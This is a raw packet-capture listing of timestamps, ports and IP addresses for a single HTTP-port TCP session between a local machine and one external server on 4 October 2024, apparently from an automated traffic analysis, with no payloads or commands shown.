Oct 4, 2024 09:52:32.547897100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547899961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547930002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547931910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547964096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547966957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547997952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548002005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548032045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548032999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548070908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548331022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548362970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548371077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548396111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548398972 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548428059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548429012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548460960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548464060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548492908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548499107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548527002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548531055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548558950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548563957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548592091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548595905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548624039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548629999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548659086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548662901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548691034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548691034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548724890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548727989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548758030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548763037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548790932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548794031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548824072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548825979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548861980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548862934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548896074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.548906088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.548934937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549295902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549312115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549324989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549338102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549346924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549354076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549364090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549367905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549380064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549384117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549395084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549398899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549413919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549416065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549416065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549427986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549432039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549443007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549451113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549458027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549467087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549473047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549488068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549499035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549499035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549503088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549518108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549520969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549520969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549532890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549545050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549547911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549557924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549563885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549578905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.549580097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549602032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.549624920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.633796930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.633893013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.633914948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.633927107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.633950949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.633961916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.633969069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.633994102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634001970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634030104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634037018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634073973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634087086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634124041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634136915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634169102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634174109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634202003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634207964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634233952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634237051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634267092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634284019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634319067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634331942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634365082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634365082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634396076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634399891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634428024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634428978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634457111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634463072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634486914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634490967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634519100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634519100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634551048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634555101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634587049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634603977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634634972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634643078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634666920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634673119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634701967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634715080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634747028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634754896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634778023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634784937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634809971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634813070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634841919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634845972 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634875059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634882927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634922981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634929895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634957075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634964943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.634989977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.634991884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635023117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635025978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635056019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635055065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635088921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635104895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635137081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635143042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635169029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635170937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635200024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635202885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635232925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635232925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635267019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635282040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635313988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635317087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635346889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635349035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635377884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635379076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635412931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635437965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635472059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635474920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635504007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635504961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635539055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635539055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635565996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635570049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635601997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635608912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635632992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635638952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635664940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635667086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635696888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635701895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635730028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635736942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635760069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635767937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635790110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635792971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635823965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635827065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635853052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635859013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635890007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635895014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635921955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635924101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635953903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635957003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.635986090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.635987997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636019945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636019945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636054993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636154890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636187077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636190891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636219025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636219978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636250019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636253119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636282921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636284113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636313915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636323929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636347055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636349916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636379957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636389017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636414051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636419058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636454105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636699915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636730909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636748075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636763096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636766911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636794090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636816025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636826038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636831045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636857986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636858940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636890888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636893988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636920929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636924028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636953115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636959076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.636985064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.636992931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637017012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637026072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637048960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637054920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637082100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637089014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637111902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637120008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637149096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637152910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637190104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637335062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637366056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637372971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637398005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637398005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637429953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637430906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637460947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637460947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637491941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637491941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637523890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637523890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637553930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637557983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637586117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637588024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637617111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637617111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637649059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637651920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637681007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637681007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637712955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637713909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.637747049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.637989044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638020992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638027906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638051987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638052940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638082981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638084888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638114929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638117075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638147116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638147116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638179064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638179064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638210058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638211012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638241053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638242006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638273001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638273001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638305902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638312101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638335943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638336897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638366938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638369083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638398886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.638400078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.638432026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.725514889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725585938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725621939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725653887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725687027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725718975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725752115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725784063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725784063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.725817919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725819111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.725828886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.725850105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725855112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.725884914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725888968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.725917101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725923061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.725950956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725956917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.725981951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.725986958 CEST	49745	80	192.168.2.4	141.98.233.156
